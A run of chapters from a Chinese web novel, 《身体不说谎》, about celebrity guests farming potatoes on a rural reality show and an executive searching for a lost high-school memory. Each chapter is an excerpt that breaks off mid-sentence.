“咔哒——”随着这一声响起,韩小希直起身子。 许琪扭头看向她,小声地说:“谢谢。” “没事,大巴车的安全带和私家车有区别,我以前读高中,第一次坐的时候,也不会呢。”韩小希很有温柔大姐姐的范儿,懂得照顾人的心情。 车子启动,缓缓驶上高速路。 秋水村位于淮市稻城的一个山坳里,多高原山地,种植作物多为土豆、玉米这种耐寒耐旱的。 因为四处环山,交通不便,经济一直发展不起来。 海拔高一点的区域,作物还慢熟,春日化雪晚,秋季雾气多。 程三好不知何时睁开了眼,抬眸就看见了窗外笼罩在银雾里的房子,飞快地往后如潮水般褪去。 刚才晴朗的天空被湿气弥漫的阴天代替,大巴车里的温度骤降,大家伙儿的精神蓦地清透起来。 “这天气也变化得太快了吧。”肖乐保抖了抖身体,抱紧自己。 韩小希的家乡离秋水村不远,闻言笑道:“我自小在这些地方长大,哪怕见过很多次这样的情景,我也还是会感叹。” “温度一直那么低吗?”许琪望向她,问道。 “不是,这我该怎么形容呢,”韩小希歪头想了想,“只能说变化无常吧,春天冷的时候要穿棉衣的程度,夏天热得再狠,我都觉得还在接受的范围。” “而且,”看着她好奇的目光,韩小希接着道,“两个相距几十米的地方,一边下大雨,一边艳阳天的情况也经常会有。往往那个时候,村里的人都要站在晾晒谷物的旁边观摩观摩,确定雨不到这儿来,就可以不大动干戈忙活了。” “哦,还有这样的事,”许琪看着路前方感叹,“农民伯伯真辛苦。” 韩小希见她天真,两人就互相介绍了自己。 肖乐保见四人都告知了名字,就只有前面的小哥沉默着不发一言,社牛的他扶着座椅靠背站起来,倾身向前问:“哥们,你也介绍介绍自己呗。” 嘴角往下拉扯,眼睛无神的赵柯侧身看向头顶的这人人,静静地盯了他几秒,干裂的嘴唇半张。 “赵柯。”语气里死气沉沉,怎么听怎么瘆人。 程三好眼皮一动,没说话。 肖乐保没被这冷冰冰的话击退,他直视赵柯的眼睛,没去过问他眼下浓重的黑眼圈,率直地向他一一介绍了其他嘉宾的名字,不会因为他阴郁就感到害怕。 赵柯额头前的头发遮住了眼睛上半部分,颧骨有点突出,是因为他太瘦的缘故,已经达到营养不良的程度了。 他的长相少见地杂糅了点女气,唇峰平缓,上下唇几乎一样薄。面部平整,肤色苍白到病态。 如果再胖一些,戴上假发不说话,几乎没人会把他认为男生,因为他的骨架很小,身高在一七六厘米左右。 是个很漂亮的男人。 见过赵柯的人都会这样暗暗感叹。 肖乐保第一眼也会这样想,但那念头转瞬即逝,更多的是,会关注他的身体,看上去真的不太健康。 他离开大哥身旁的座位,来到前排的位置坐下,很是自来熟。 “我们两个男生还是坐在一起比较好,”他嗓音清晰,不大不小,“保护《种田吧》小组的三个女生哈哈。” 赵柯没接他的话,径直扭头看向窗外。 韩小希怕他尴尬,于是就接着话茬:“不一定,万一是我们保护你们呢。” 肖乐保笑嘻嘻,厚着脸皮 8. 没规则 《身体不说谎》全本免费阅读 许琪被导演吓到,不说在家里,就算是在学校里面,老师考虑到她父母的身份也不会太苛责她。 她的小手发抖,面上难堪,终究还是挨不住哭了起来。 张导的眉头皱得死紧,可江总都说了,一视同仁。 不过他们又不是搞什么军训,犯不着对一个小姑娘大声嚷嚷。 张导做节目很有自己的手段和想法,所以哪怕他的脾气不好,但是还是被映华娱乐签约并扶持,给了他很多好的项目和IP。 他克制着自己的愤怒,平复着语气说:“接下来的种田比你想的还要艰苦,如果你坚持不住,你就退出吧,反正对你家来说,那点违约金根本算不了什么。” 张导本意是好的,可许琪听到了耳朵里,却有一种浓浓的侮辱味。 其实签约合同之前她就看过了,知道有些东西是不能带的,但是她还是带着侥幸心理,以为节目组不会检查的。 归根结底,是自己错了,但她低不下头,开不了那个口,就只是沉默着抹眼泪。 现场很安静,谁也没说话。 最终还是肖乐保说:“导演,什么时候开始?” 张导转过身来到五人前面一点位置,神色如常:“身后的三间平房以及一间瓦房就是你们吃喝拉撒的地方,看到左手边的那几块田没有——” 他伸手指向离房屋不远的地方,继续道:“总共是二十亩地,八亩种上了土豆,十亩种上了玉米,其余两亩地上是一些白萝卜以及苦荞,全都是我们向当地农民租来的。” “那我们该做些什么呢?”韩小希问道。 张导一只手叉着腰,一只手举着大喇叭靠近嘴边,已经进入了工作的状态。 “在接下来将近为期一年的录制时间里,我打算拍下你们在秋水村生活的一年四季。”说到这儿的时候,导演的眼睛亮了,“本综艺最大的规则,就是没有规则。” “导演你说的是什么密语哦,我等平民听不懂哟。”肖乐保手放在耳朵上,侧身努力去听的夸张样子。 张导哈哈大笑几声,解释说道:“也就是说在这一年里,除非你退出或者是快要饿死的极端情况,拍摄期间,我们不会提供你们任何的帮助。要依靠你们勤劳的双手,从无到有、填饱肚子、挣钱养家。” 他为了这个综艺真的准备了很长一段时间,私底下考察了很多个村镇,最终选择了秋水村,看得出来他真的对《种田吧》很期待。 张导内心越加汹涌澎湃,激动说:“我要拍出的是一个有治愈、有艰苦、有奋斗的非典型慢综艺!各位的表现与综艺息息相关,我同样对你们充满期待。所以——” “废话不多说,现在就开始吧!” 不管导演的嗓音有多么的激昂,从始至终,程三好都垂着眼皮看向地面,一副快要睡着了的样子。 反倒是肖乐保,神色亢奋,对着旁边的人说:“大哥,你有没有一种看少年热血漫的感觉?” 他的大哥僵硬地扭过脖子看他一眼,好像这个简简单单的动作,已经耗尽了她的全部力气,语气中莫名有种清汤寡水的味道。 “没有。”她如实说。 哪怕已经非常习惯他大哥这种特别的气质,肖乐保还是会被冲击到,他假装忐忑地问道:“你心情不好?” 感受着来自程三好的眼刀,肖乐保不皮了,得逞的笑了几声才道:“开玩笑,开玩笑……” 几个人合上行李箱,转过身的时候大巴车刚好启动,等到车尾消失在眼前,导演所说的房子便一览无余。 走近以后,他们转了转房间,程三好得出一个结论:最右边的两间小平房应该就是他们的寝室,中间的平房分为两个隔间,一边是生火吃饭的灶房,一边是堆放干柴、农具等杂物的房间。 最后一个大瓦房则是复式,分为上下两层,应该都用来储存粮食用。 三个女生选择了靠最右边的一间,房间里的角落靠着两张一米五左右宽的双层铁床,商量了一下,最终程三好将背包放到了上床,韩小希和许琪各自占一张下床。 床的木板上有节目组掏腰包买的一床绿色垫子,还有一个隐私性极强的床帘。 房间地面是朴实无华的水泥地,墙壁也没有墙砖,只是涂着一层白色漆。 靠门边的位置有两张红漆木书桌,下面空出来的位置摆放着几个保温瓶,桌上则放着几个掉了点黄釉的搪瓷茶杯。 好在卫生间不是农村的那种旱厕,而是蹲便池、淋浴间都有,空间虽小,但五脏俱全。 然而程三好觉得这个家除了没有家徒四壁,那是哪哪都缺,当下要买的东西好多,比如:衣架、大米、调料品……以后有点钱了还要买猪买牛,喂养长大除了制作腊肉,还能卖得一笔收入。 “大哥,你们好了吗?”肖乐保没有莽撞地推开女寝的门,就站在门外大声喊道。 程三好已经铺好了床,把行李箱推到墙边竖立着,轻拍了拍手上的灰,就打开门出去了。 韩小希将要穿的鞋子都摆放在床下,余光看到许琪努力后的狗窝,决定帮这孩子铺床。 “稍微硬一点的这个放在床上作为垫子,还要铺上一层床单,这样……就可以将它塞到垫子下,睡觉的时候就不容易踹掉了。”她边说边手上麻利地动作着。 许琪上学时期一直没住过宿,都是司机接去接来,也没有和别人同处一个卧室的习惯。 从离家到达秋水村,直到这个时候她才有了一种身处异乡的感觉,是真的要在这个陌生的地方生活一段时间了。 巨大的空虚和恐慌在看到韩小希帮她的瞬间终于决堤了,如果说刚才在张导面前还强撑着只是擦眼泪,这会儿直接蹲下抱头痛哭起来。 韩小希听着她的哭声,急忙转过头,蹲在她的面前慌张说:“不会因为是我动了你的床吧?对不起,擅自主张就上手了。” 许琪听到这句话哭得更大声了,只是一个劲儿的边哭边摇头。 韩小希经历的事情多,联系起她的气质以及状况,猜测着开口:“是想妈妈了吗?” 许琪“哇”地哭着往前面的人怀里钻,哽 9. 分工 《身体不说谎》全本免费阅读 肖乐保没察觉,看到韩小希她们也出门了,就挥了挥手。 大坝里有一条简易的木板,下面搭着几块石头作为支撑,四周有几条长凳。 大家围着坐了下来,程三好神情自始至终都没变,像是压根没看到赵柯的异样。 “现下已经到土豆成熟的季节了,玉米还不可以收割,要不我们先挖土豆?”韩小希思索道。 “嗯,我觉得行。” 程三好粗略地看过厨房一眼,里面只有简单的家具,一点食物都没有,现在没有一分钱,今晚只能就地取材吃了。 肖乐保不懂,但他大哥都说了行那就一定行。 “我也同意!”他举着手兴致勃勃地说。 许琪感受着四面八方的摄像机像大炮一样对着自己,手心焦虑得冒汗,听到这一声,她看向他,被他自然地融入到这里的张扬吸引,一时忘了不适,怔怔地望着发呆。 赵柯默言,只露出一个头发茂密的脑顶对着众人,肖乐保歪头靠近他的耳边,问:“赵哥,你的想法呢?” “啊,我也是这样想的。”他像是才回神,扯着嘴角礼貌地笑笑。 “好,我们拿上农具开干吧。”肖乐保精神十足地站起身,正准备往杂物房走。 “那个,”许琪紧张地抿了抿唇,才语调大点说,“你怎么没问我?” 她性子算不上懦弱,就是认生得很,许母总教育她,不管面对什么人,说的内容是啥,都不要支支吾吾、声若蚊蝇,那样的姿态会让人讨厌。 面对暗恋的男生,心脏不可遏制地加快跳动,许琪觉得自己真的在努力表达自己。 “瞧我脑子,那,”肖乐保询问她,“你是否同意呢?” 韩小希也笑着说:“五人小队一个也不能少。” 许琪迎着他们的目光用力点头。 土豆地分为三块独立的田地,地里长满了很多密密麻麻的杂草,长至人的膝盖,已经完全遮住了土豆枯死的根茎。 好在节目组有良心,麻袋、撮箕、锄头、镰刀都准备了。 最终决定分工而行,程三好和韩小希负责挖,赵柯割去草露出土豆窝,肖乐保和许琪负责在后面挑拣土豆分装,得把大小、好坏做个隔断。 从所在房屋往右边走,第一块地就位于路的侧旁,稍微比路低十几个公分,面积在四亩左右,是一块很大的土地。 程三好蹲下身体,将裤腿折叠至小腿弯。韩小希也正好要这样做,突然想起来自己穿的裙子,于是作罢。 赵柯已经下地割草,右手拿着镰刀手柄,左手握住野草的上半部分,利落而迅速,割断就堆放在路上。 他干活认真,勾着的脊背上骨头突出。 节目组不远不近地跟着,张导看着这一幕很满意,认真干活儿的娃子他喜欢。 这个时候地里的草已经到达了生长成熟期,开着花的有,缀着很多种子的有,草被割走后,随着土豆露出一个接一个凸起,这种有鼓包的就是土豆的“家”了。 一边是高高杂密的野草,一边是整齐“干净”的田地本貌,对于强迫症患者来说,那实在是太爽了。 程三好和韩小希也没拖后腿,锄头对准鼓包前面一点位置下去,带着沉重的泥巴翻出来,黄皮土豆就现了身。 里面的泥土比表面潮湿,显得颜色深,衬得土豆越加稚嫩。 程三好接连挖了好几个“包”,都挖到了大土豆,对于她来说未免太过惊喜,抬头时,旁边的韩小希正好与她对视,二人像是都明白,扬着嘴角笑了起来。 肖乐保下地走了没几步,运动鞋里跑进去了一些干燥的泥巴。 这块田完全没有水旱的地方,泥土松软,土豆产值不错,看来是块良田呢。 他拿着撮箕,放眼过去全是葱绿的山林,以及一片片平整的玉米。 头顶的天空从来没这么辽阔蔚蓝过。 栖息在路边电线杆上的鸟雀时不时发出鸣叫,它们的声音尖细,但是你一点也感觉不到刺耳。 没来由得,闻着独属于乡村空气的味道,内心最深处的焦躁被一一抚平,好像你是一阵自由的风,畅游在天地,任何事物都不能叫你感到束缚。 肖乐保精神矍铄,活动活动了一下肩膀,蹲下身体,开始捡土豆。 他见过厨房里只有一层浅浅干灰的大土豆,可手中现在的触感却是初碰有太阳留下的余温,多拿一会儿,刚出土的土豆,水分最足的就是这个时候了,会感受着一丝凉意。 许琪知道要干活,提前脱了裙子,换上简单的上衣长裤,将头发扎成马尾,鞋子也换作了板鞋。 韩小希已经给他们二人说过了将土豆怎么分类,她戴上节目组给的手套,下地在肖乐保对面蹲着,把土豆往撮箕里丢。 一些土豆裹在了干粪里,挖出来就是干干净净了,你敢信,上面几乎没有泥土粘粘,简直就是个滑溜溜的“胖小子”。 不过那种毕竟是少数,大多都沾着点泥巴,直接装进麻袋就好,但是遇到大块泥巴粘在土豆上的,就要用手搓掉再储存。 这个过程中容易费神的一点就是,你不但要分大小,还要将破烂或者被锄头误伤的一类土豆分出来,所以往往需要三个麻袋放在一旁,分为三类入袋。 赵柯看着孱弱,可实际上战斗力惊人,宛若一头猛牛,和后面几人拉开差距。 太阳不知何时跑到了他们的头顶,火辣辣地炙烤着大地。 程三好考虑到肖乐保他们是第一次种田,太急着忙活,怕他们中暑,于是和韩小希商量,先休息一会儿。 “先休息一下吧。”韩小希将锄头立放着,向大家说道。 肖乐保起初干劲十足,马上就可以跟到挖土豆人的速度了。但是随着温度升高,那点子美好都给丢到脑后了。 疲累让身体反应变慢,听到可以休息,忙不急丢了撮箕,破有点无情的味道。 赵柯抹了抹额头的汗,站起身往回走。 田地的一侧就是一个小小的山坡,但大家不会傻到跑那里去支着晒。 瓦房的优势就体现出来了,檐角延伸出来很多,完全将阳光隔绝在外,留下清凉的大片阴影。 肖乐保和赵柯一起将长木板搬到阴影里,程三好和韩小希说是去拔萝卜了。 许琪给每个人都倒了杯冷水,一一端着放到桌子上。 不一会儿,韩小希她们每人手中都提着好几个又长又大的白萝卜出现了。 萝卜上头绿油油的菜没扔,程三好打算用来制作酸菜吃。 “那么大啊?”肖乐保看着那白白的大萝卜。 韩小希脸上被晒得有点红,逗他:“这也算不了大,深秋以后,萝卜更大,能到我的大腿根呢。” 哪有那么夸张,纯粹是开玩笑的,然而肖乐保没见过,当下惊讶出声:“那不就是萝卜人!” 大家都噗嗤笑起来,少言的赵柯都忍俊不禁。 程三好临到跟前,一脸讳莫如深:“冬日人类睡觉的时候,它还会变作萝卜精敲你的门呢。” 说完就去厨房拿削皮刀以及垃圾桶了,肖乐保一哆嗦,面上惶恐:“不会吧?” 韩小希笑够了,解释:“我们骗你玩儿的,都是家里长辈编造的故事罢了。” 肖乐保拍了拍胸脯,自信说道:“我当然知道,现在可是唯物主义世界,妖魔鬼怪统统闪开!” 韩小希也不拆穿他的伪装,看到程三好过来,接过其中的一把削皮刀就对着萝卜削起来。 看到她们将萝卜的前大半段,给直接砍下来放到桌上的盆子里,许琪好奇问:“那半截不要吗?” 程三好淡淡道:“扎根地里越深的部分要么很苦,要么寡淡无味,所以一般生吃的时候是不吃的。” “哦,原来如 10. 下坠 《身体不说谎》全本免费阅读 肖乐保好胜心强,恨不得两只手当四只手用,认真起来的时候全然没了那副傻憨憨的样子。 许琪都看在了眼里,哪怕已经察觉到自己的后脖颈已经被晒伤了,心里竟也是愿意去搏一搏的。 一块四亩多的田地,五人再怎么快,再怎么做得多,还是需要至少三天的时间才能全部挖完。 前面挖土豆的人每一次使劲儿的时候,力气一点也不能少,而且对于精度也有一定的要求,所以最终以肖乐保胜利结束。 本来以为要等到两点钟才能休息,但在这一场比赛的驱使下,他们可以提前一个小时去吃午饭了。 肖乐保不知何时脱了上衣,光着膀子大摇大摆地往房子前走,程三好瞥了一眼,没想到那人还有四块腹肌。 她没说什么,韩小希就打趣道:“小肖,看不出来,你的身材不错啊。” 不怪众人惊讶,主要是肖乐保身上的少年气实在太重,腹肌相关的这种性感的词总觉得挨不上边。 “哈哈,”他像一个野人一样将衣服甩起来,“可让我逮着炫耀的机会了,我一直都这么认为的!” 不愧是脸比城墙厚八倍的男人…… 只是— 程三好少见地为他人感到尴尬,飘忽着眼睛没再看。 果然,下一秒就听到韩小希的爆笑如雷:“哈哈哈哈哈哈哈哈哈哈哈……” 如果她的面前有一张桌子,她一定边拍边大笑。 “你现在的……哈哈……脸好黑……哈哈。” 原来是因为喜欢宅家打游戏的肖乐保基本没在阳光下暴晒过,所以肤色比寻常男生白很多。 今天露出来的皮肤有脸部和脖颈,都被晒黑了。 本来没什么,然而脱了上衣,肤色形成了极其强烈的对比,恍惚间似乎看到了一只被拔了毛的“鸡”在田野间狂奔。 光是这个画面从脑子过一遍,韩小希又要忍不住笑起来。 肖乐保经她一提醒,撒丫子狂欢的人突然僵持住,目光看向摄像机。 节目组:这一期的收视率稳了! “纯情”男大学生的脸上突然洋溢着十分美好的笑容,于风中缓缓石化。 肖乐保:人生短短几十载,忍一忍便过了。 “过个屁!”他突然迅速地穿上衣服,脸上带着可疑的红晕,找到拍自己的那个摄像机大哥。 凶巴巴的表情,怂兮兮的语气:“大哥,麻烦给我删了。” 镜头晃了晃,摄像机大哥驳回了他的请求。 “呼……呼……”肖乐保的头发被风吹成了一个鸡窝头。 摄像机大哥:“噗嗤……” 这就是秋天吗?连路过的风都在打我的脸。 肖乐保生无可恋地这样想,突然坐在了田埂上,双手拽住摄像机大哥的裤管,唉声连连:“给我删了吧,综艺播出以后,我该怎么做人啊,啊……” 他边说边摇晃,神情极其悲怆。 演技对于他来说可是个“陌生人”,所以只能说都是真情了。 摄像机大哥可能觉得他实在可怜,于是让他去找张导,只要导演同意删,那他就删。 肖乐保擦了擦不存在的眼泪,脚上似乎踩了个风火轮,嗖地就到达了不远处的棚下。 程三好跟随着他的背影看过去,不知道他对着导演说了什么,却先撞进了一双冷然的眼睛。 其实他们之间隔着好一点距离,她不确定他是否在看自己。 她收回视线没多想,和其他人一起去旁边的森林拾干柴了。 江邱他们没有一直站着,就坐在节目组便宜淘来的塑胶凳上。 期间老板一直和导演在聊工作的事情。 “怎么了?”张导见他不专心,问道。 江砚的大衣已经脱了,露出里面的灰色西装马甲和黑色衬衫,质感细腻考究,贵气满满。 大长腿摆开,手肘支撑在膝盖,两手交叉向前,是个很放荡不羁的坐姿。 外环黑金色的腕表是TURE最新秋冬款,目前市面上只有这一只。 他又薄又利的眼皮微抬了下,才散漫开口:“没,继续说。” 肖乐保已经到跟前了,对着张导一通恳求,可算是保住了自己的脸皮,不至于节目播出即地狱。 中午饭决定“原味盛宴”。 程三好和赵柯去森林里找来两捆干柴,就放在已经挖了土豆的田地上,这样留下来的灰烬可以给土地增肥。 找节目组要了一把打火机,再顺手拿起草地里一些已经干枯的蕨草,用其引燃干柴。 火舌扑地窜出来,浓烟顿时向上升腾。 赵柯捡了很多个大小适中的土豆,丢在柴的最上面,接下来只需要适时翻滚一下,就可以被烧熟了。 空气里起了北风,风里带着点湿凉。 远山的尽头起了乌云,一个个发电风扇大力地挥动叶片,速度明显加快,隐隐听着空中传来的轰隆声。 赵柯站在原地,目光从层峦叠嶂的高山移到脚下,看到阳光被头顶袭来的乌云一点点地吞噬而尽。 视线渐渐放空,强烈的难过从脚心一直蔓延至心脏,没来由的,他觉得胸腔里闷得他窒息起来。 火光荡漾在他死气沉沉的眼睛里,手在无意识间,握成了一个拳头。 指甲陷入皮肉,没结痂完全的疤再次裂开。 天地间不知何时变得十分安静,那些叽叽喳喳叫个不停的鸟雀都藏匿了起来。 总是嚷嚷个不停的肖乐保没有在这里而是在厨房,周围都是节目组的人,但赵柯还是感到孤独。 这种想哭却哭不出来的情绪压制着他,掏空了他,一双无形的大手正在把他往下坠。 不如…… “赵柯。” 在那个念头冒出来之前,他被人叫住了。 “站到我这边来,”程三好见他抬起眼皮看向自己,才解释说,“你那儿风大。” 赵柯松开了拳头,手指蜷缩,迈着步子去到程三好的旁边。 两人静静地谁也没说话。 冰冷的脊背感受着前胸传来的温暖,慢慢地,没有了那种砭骨的麻木感。 赵柯见镜头没有对着他们,像是不在意地低声说:“那天……” “我也出现在了那里。”程三好伸着双手向前取暖,不急不慢地打断他。 四年前那个酒局,被一个叫老王的制片人辱骂的男演员正是赵柯。 程三好第一眼就认出来了,她只是没想到变化那么大,短短几年被时间折磨得没个人样,瘦得不成形。 每每想起,赵柯还是会为当年的事情感到难堪,他说:“你和我不一样。” “你的意思是,我是被蒙在鼓里带去的,而你是自愿被潜的,是吧 11. 强行回忆 《身体不说谎》全本免费阅读 他接过江邱递过来的纸巾,捂住鼻息,右手扶额,静静地待那阵剧烈的头痛过去,血缓缓止住了。 将染血的帕子叠起来,江砚特意转过干净的一角递给江邱。 听到后车门开又关上,他向后靠在座椅上,青筋虬扎的手附在正脸,微微仰着头闭上眼,脖颈牵引出劲道干练的弧线,衬得雄性喉结越加性感。 黑色衬衫的纽扣一直扣到最上面,尽管这样的姿势感觉到有些束缚,但是男人一直没有动,没有人知道他在想什么。 直到丢垃圾的江邱去而后返,他来到驾驶座,手握在方向盘上,透过后视镜看到老板的状态,嘴唇蠕动,一脸欲言又止。 他知道自己不该说这样的话,但最终还是开口了。 “老板,你刚才强行回忆了吗?” 江砚没理他。 “我知道劝解你不要回想很愚蠢,但是那么多年过去你都没有发生今天这样的事,所以要不要去医院检查检查?” 江邱除去秘书的这一层身份,其实二人还是大学室友,勉强算得上朋友,到底会担忧。 他眼神一会儿看向前方,一会儿看向后视镜,显然不放过这个问题。 江砚动了,他坐直身体,伸手松了松领带,骨节分明的手解开了一个纽扣,上眼睑微抬,轻轻扫了一眼江邱。 “这件事不要告诉老头子。” 他的音色冷,尽管还是那副松弛的样子,却叫人无端不寒而栗。 江邱正襟危坐,推了推眼镜,才说:“我知道了。” 车里安静下来,江砚旁边的车窗没关,一眼就可以看到在录制综艺的嘉宾。 往日上了车,车窗必定紧闭,江邱猜测老板刚才头痛到流鼻血,这会儿感觉到闷才没关的吧。 按照行程,下午两点半有个公司会议,再不走就可能迟到。 可江砚极为罕见地扭头看着窗外缄默,江邱就为难,到底要不要启动车子。 在他犹豫着询问时,后座的男人收回若有所思的视线,说:“你让人去查查我高一的时候,看看都发生了什么。” 那已经是七年前的事了,常人不至于忘了个干净,可江砚却一点印象都没有。 所有的记忆从能记事起到如今,成长的轨道如一道顺滑的线,每一幕都能顺藤摸瓜牵引而起,但是回忆的列车途径高一的上学期时,好似蒙着很浓厚的雾,脑子里一点信息都抓不到。 江邱说:“好的。” 车子引擎声骤起,扬起一片灰尘。 回到公司总部后,江邱就着手让人去老板高一就读的淮市一中探查一番。 那么多年过去了,想要得知一些事情,只有询问老师以及同学,虽然最终只能得到他们第三者眼中的江砚,但是他也想知道。 会议一直持续到下午四点,江砚才脱身得空接起来爷爷的电话。 “你想查当年高一的事?”江全驰今年七十有二,声音宏亮,丝毫没有中气不足,哪怕现在他正坐在轮椅上。 佣人推着他缓缓行在清幽的小径里,铺着鹅卵石的道路更是与两旁花圃相印成趣。 这个地段就只有这一栋占地几百平的别墅,依山傍水,远离喧嚣,很适合养身体或者养老。 “能有什么查的?就是想回忆一下中学时光。” 江砚满脸淡漠地扯谎,单手拿着手机进入专用电梯,丝毫不疑惑,爷爷是怎么得知这件事的,毕竟现在跟着他做事的大部分人都是江全驰留下来的。 “初中、高二高三不够你怀恋?”老人头发还算茂密,大多已然花白,可黑色的也不算少,打理得很干净,修剪得整齐得体,眉头一皱,不怒而威。 “脑子里缺段记忆总归不舒服。”江砚诚实道。 江全驰几乎立马戳穿了他:“你不是那样的人,那么点小事多年了都没消化。” “是。”男人面对爷爷少见地不凌厉,只能承认说。 如江老爷子所说,江砚不会因为丢了一点记忆就耿耿在怀。 他目标明确,手腕铁硬,只要对他造不成利益损害,他能全然就当高一没经历过,更遑论要说什么找回记忆这种让他感觉矫情至极的话。 江全驰眉弓也很锋利,语气平缓:“还记得当年你车祸出院后答应了我什么吗?” “记得。” “那你现在是在做什么!违背约定还是反抗我?” 江全驰只要一回想起当年医院卫生间的情景,脾气顿时上来,说话很冲。 江砚没表情,只是淡淡地说:“爷爷。” 江老爷子一口气提不上来,火气还没旺盛,扑的就灭了。 他自小就教育孙子,在谈论工作或者交流中不可意气用事,不要成为情绪的奴隶,因为完全没必要,那样的男人太没风度。 当下就体会到搬起石头砸自己的脚是什么感觉了。 江全驰枯瘦的手握紧手机,想问这个引以为傲的孙子: 为什么突然提起高一的事情? 咱们爷孙俩不是已经约定好了吗? 难道你也要这样肆意妄为地把自己搞死,让我这个失去儿子儿媳的人,再度经历那种白发人送黑发人的伤痛吗? 满肚子的话他最终没说,他说了,就与他教导江砚的初衷相悖。 ——人活世间,是自由的个体,绝对不要被道德绑架,哪怕来自亲情。 江砚失忆后反应很大,江全驰以为他在淮市一中经历了不好的事或者被欺负了,还派人去查过。 然而就是一个普通的高中生日常,普通得无聊:上课……图书馆……食堂……寝室,周末了也不出去,就操场打篮球。 江老爷子年轻的时候,还经常翻墙出去打游戏或者偷偷带着智能手机进学校,晚上疯狂熬夜上分。 这些事江砚一件没做,连手机也是学校规定的那种,只能打电话和发短信的儿童手机。 江全驰从下属那里得知这些信息,一边觉得孙子太过听话没出息,一边心里又因为他不犯事,认真学习而暗自高兴。 至于什么“年级第一”,“风靡校草”的头衔,他认为那不是江砚的常规操作吗? 那可是他江全驰的孙子! 想到这,江老爷子也不气了,问:“那你现在为什么想查这件事了?” 江砚已经走到了办公室门口,手停顿在玻璃门把手一寸以外,却迟迟没落下去,像是在想怎么回答他这个问题。 老板神情出现困惑,是江邱从来没见过的场面,但现在江砚脸上就是那样的:“不知道。” 男人一向开口说话几乎都带着肯定与果敢,像这样模糊不清地给出答案,绝无仅有。 江全驰何其了解孙子,一听就听出了点故事,还听出来话语里本人不自知的挣扎。 他心软了,选择成全,在电话挂断前说:“想查就去查吧。” 此时江老爷子已经被佣人推到了人工湖岸边,他示意就停在这儿。 12. 意外之喜 《身体不说谎》全本免费阅读 肖乐保拿过那个土豆却转身递给了还在纠结的许琪。 “吃吧,”他看着她的眼睛里始终带着点关心,“也许很好吃呢,试一试。” 许琪的脸已经不红了,这会儿与人正面对视,身体的热意再起,见对方一直保持着动作,她伸出手去接过来。 肖乐保肉眼可见的笑容大了,没再看人,扭身靠近桌子,拿了个玉米棒啃起来。 程三好原来是看到不远处的棚子下坐着导演,才走了过去。 她边走边啃玉米,临到跟前,静静地站着,眼睛毫无波澜地盯着导演,也不说话。 张导看她一身的懒劲儿却不掩乖张,以为她要来找茬,身体后仰,语气谨慎:“有什么问题吗?” 面前的人转瞬笑起来,要多乖有多乖,带着点讨好,说:“导演,现在农村人哪一家没有点油、调料品之类的,是吧?” 张导做的功课很多,自然明白秋水村农民的家庭情况,不至于连点油都没有。 他诚实地答:“对。” 本来以为这个嘉宾要挑刺,让他们给这些东西,但是对方用商量的语气说出了令他意外的事。 “我只是想先从节目组你这儿预支点费用,待我们挖完土豆售卖出去立马还你们钱,行不?”说完还嫣然一笑,可信度直线上升。 张导放下心来,眼珠转了转,回复她:“多少?” 程三好比了个手势,说:“一百元。” 完全在意料之外,张导挑眉,道:“确定?” “是的。” 张导觉得这个数目实在太小,都不想计较了,直接从裤兜里拿出一张红光闪烁的毛爷爷大钞,倾身向前递给她。 面前的人早已吃完了那个玉米,弯下腰用手背将钱硬生生推过去。 张导疑惑:“什么意思?” 程三好就这样抬起头看着他,把自己处在一个弱势的位置,诚恳答:“我会列一个清单,麻烦节目组去镇上买回来,因为我们还没有车,今天也不是赶集的日子。” 说完她又补充了一句:“毕竟人还是要吃饱才能好好干活,事后还你两百。” 她的态度自始至终都很好,与人说话的嗓音不柔却温和,打起精神的眼睛亮色溢满,礼貌又恭谨,很难让人拒绝。 张导一听这样的要求,差点暴躁出声,然而面前的人用一种满怀希冀的神情看着他。 想到自己的孩子和她这般大小,张导的父爱突然冒出来,但是他是工作认真的人,公私分明,是不会破坏自己策划的节目规则的。 他开口拒绝:“不行。” “行吧。”程三好强颜欢笑一下,懒得再装了,直接果断转身。 张导:钱不借了? 对方拖着散漫的步子径直离开,背影看上去有点落寞。 副导演忍不住说:“其实她的要求也不过分,不如我们就给她吧。” 张导刚升腾起来的一点怜悯顿时没了,面色铁青:“这是我制定的规则,哪有打破的道理!” 副导演被吼得满脸懵,爱好和平的他说:“也是。” 程三好回到桌子前,随手拿起个土豆。 土豆不软不硬刚刚好,表皮可以单独剥下来吃,焦黄可口,也可以和土豆一块吃,又是另一种味道,吃起来绵密又有嚼劲。 采用木柴烧熟的土豆,随着朦胧的热气,可以闻到它的味道,浓郁的原味中带着不易察觉的松木香和青冈木香。 她有很长的时间没有吃了。 记忆有形,脑子一抓一个准,也许是木屋延伸出来的檐廊,也许是炭烧土豆,也许是上山采蘑菇…… “大哥,你刚才去找导演说了什么?”肖乐保拿着筷子夹盘子里的萝卜丢进嘴里,边吃边随意问。 程三好坐在凳子上,才说:“没什么。” 她回答完肖乐保,思量着开口:“这样没有任何油水一直吃不可以,身体撑不住,所以当务之急是要买油。” 韩小希吃玉米有点塞牙,她舔了舔上颚,表示很赞同。 “是啊,虽然我也不怎么会做饭,但是用油一炒这些食材,还是要好吃得多。” 肖乐保吃不惯,但是没有表现出来,挠了一下头说:“那怎么办?要先卖今天上午挖的六麻袋土豆吗?” 这六袋中有半袋是瑕疵破烂的,两袋是小个的土豆,三袋半是大个土豆,规模不同,卖的钱自然不同。 程三好点头,说:“待会儿谁与我先去村子里转转,问村民才能得知来收土豆的商人电话,还能顺便打探一下,谁家要买小土豆去喂猪。” 韩小希进村子时就听到了别人家的狗叫声,这会儿一想起来就心里发怵,摇了摇头紧张说:“我还是留在地里干活吧,有点怕狗。” 肖乐保神色兴奋地正要举手,被一个声音打断。 “我吧。”赵柯没有看任何人,淡淡地说道。 肖乐保完全没有往心里去,虽然对村子有点好奇,还是按耐住心思说:“那大哥你们两个一起去吧,可千万不要耍赖偷懒。” 程三好突然对着他意味深长地一笑,随即和赵柯一前一后地从房子右边一米宽左右的羊肠小道往村子里去了。 肖乐保没有错过大哥的神情,当即指着二人的背影大声说道:“平贵!莫要忘了苦守寒窑的宝川我!” 这一声他认为自己喊得是声泪俱下,闻者伤心,见者落泪,奥斯卡小金人唾手可得。 程三好没有回头,嘴角却弯着,无所谓地挥了挥手。 许琪斜睨着肖乐保,被他逗乐,找准机会搭话:“你的梗好多啊。” 肖乐保敛了笑意,没接这个话茬,只是说:“那我们也开干吧。” 许琪脸一僵,觉得有点难堪。 韩小希没注意二人间的暗流涌动,她将没有吃完的玉米和土豆收起来,放到厨房的冰箱里保存。 简单收拾了一下桌子,三人去到田里继续干活儿。 